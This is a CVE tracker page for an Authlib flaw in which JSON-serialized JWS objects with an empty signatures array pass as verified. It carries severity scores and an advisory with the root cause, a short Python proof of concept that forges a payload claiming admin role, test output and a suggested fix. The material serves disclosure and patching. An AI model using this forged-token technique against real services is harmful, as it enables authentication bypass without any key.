CVE-2026-96760

criticalpriority · track · 10EPSS 0.004 · 32 %ileexploit · PoCUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
2 exploits · PoC
Likely / severe?
0.38% (32nd) EPSS
CVSS 9.8 · critical
Is it mine?
1 products
Check your exposure
Who says so?
2 sources
osv · cert_cc_vince

EPSS · scored 2026-10-27

Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondaryexploitability 3.9 · impact 5.9
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Nsecondary · OSV
v3.19.3criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:Psecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (2)

Public proof-of-concept and weaponised exploit code.

05

affected products (1)

Products and version ranges known to be affected.

06

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-6v38-4h7w-rj9hAuthlib: empty signatures validation in JWS JSON deserialization2026-10-27ghsa · osvUS

    Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key. ## Root cause `authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact: ```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ``` `is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined. ## Reproduction ```python import base64 from authlib.jose import JsonWebSignature def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []} print(jws.deserialize_json(forged, key=None)) ``` Observed on authlib 1.8.0, Python 3.14, clean virtualenv: ``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError bad_signature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value: ``` [C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way. For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with `BadSignatureError`. The correct behaviour already exists in your newer library. ## Impact Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material. ## What would fix it In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938 proposes the same thing.

  • VU#762428CERT/CC Vulnerability Note VU#7624282026-09-28vendor · cert_cc_vinceUS
07

sources

Which sources assert this record, and when.

published 2026-09-28modified 2026-10-01
08

references (3) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan